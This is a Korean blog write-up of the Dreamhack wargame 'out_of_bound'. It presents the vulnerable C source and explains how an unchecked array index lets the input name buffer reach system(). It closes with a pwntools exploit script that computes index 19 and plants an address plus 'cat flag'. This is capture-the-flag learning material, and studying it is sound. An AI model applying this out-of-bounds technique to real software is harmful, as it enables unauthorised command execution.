본문 바로가기

Dreamhack/Wargame

[Wargame] out_of_bound

1. 실습 코드

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>

char name[16];

char *command[10] = { "cat",
    "ls",
    "id",
    "ps",
    "file ./oob" };
void alarm_handler()
{
    puts("TIME OUT");
    exit(-1);
}

void initialize()
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int main()
{
    int idx;

    initialize();

    printf("Admin name: ");
    read(0, name, sizeof(name));
    printf("What do you want?: ");

    scanf("%d", &idx);

    system(command[idx]);

    return 0;
}

2. 코드 분석

  • 16byte 크기의 name배열에 입력을 받아온다.
  • command배열의 인덱스를 입력받아오며, 해당 인덱스 값은 system함수의 인자로 들어간다.
  • 해당 코드에서는 command 인덱스 크기에 대한 제한이 없고, command와 name이 같은 데이터 세그먼트에 존재하기 때문에 oob취약점이 존재하는 것을 알 수 있다.

3. 풀이

① command에 대한 oob를 통해, system함수의 인자값을 "cat flag"로 바꿔서 flag를 읽어올 수 있다. 

  • 입력받아오는 name에 "cat flag"를 저장한다.
  • command에 대한 oob를 이용하여, name에 저장된 값이 출력되게 한다.

 

② command와 name의 거리를 계산을 하여, command[idx]가 name의 값을 출력하도록 한다.

  • 0x0804a0ac - 0x0804a060 = 0x4c 로, name이 command보다 0x4c높은 주소에 있다.

 

  • 디버깅해보면, [입력받아온 인덱스] * 4 + 0x804a060주소에 저장된 값이 system인자로 들어간다.
    (0x804a060은 command배열의 시작주소이다.)
  • 4를 곱해준 이유는 포인터 배열은 4byte씩 할당이 되기 때문이다.
  • 따라서, 0x4c ÷ 0x4 = 0x13으로 idx에 0x13의 10진수인 19를 입력해주면, name의 주소를 가리키게 된다.

 

③ name에 "cat flag"를 넣어, flag를 읽어오게 한다.

  • 디버깅을 해보면, name에 저장된 4byte만 system인자값으로 들어가게 된다.
  • <main + 108> 코드를 실행하고, eax를 확인해보면 cat만 저장된 것을 볼 수 있다.

 

  • 이는 [name+4] 주소값을 넣어서 해결할 수 있다.
    즉, [name+4] + "cat flag" 형식으로 name에 저장해주면 되는 것이다.
  • system함수의 인자값은 [name+4]주소값이 되고, system함수가 실행되면서 [name+4]에 저장된 cat flag가 실행되는 것이다.

4. Exploit

  • pwntool을 이용하여, exploit 코드를 작성해보면 아래와 같다.
from pwn import *

#p = process(b"./out_of_bound")
p = remote ("host3.dreamhack.games", 23732)

name = p32(0x804A0B0) //name + 4 주소값
name += b"cat flag"

p.recvuntil(b"Admin name: ")
p.sendline(name)

p.recvuntil(b"What do you want?: ")
p.sendline(str(19))

print(p.recv())

'Dreamhack > Wargame' 카테고리의 다른 글

[Wargame] basic_exploitation_003  (0) 2022.08.16
[Wargame] basic_exploitation_002  (0) 2022.08.15
[Wargame] hook  (0) 2022.07.22
[Wargame] oneshot  (0) 2022.07.19
[Wargame] fho  (0) 2022.07.19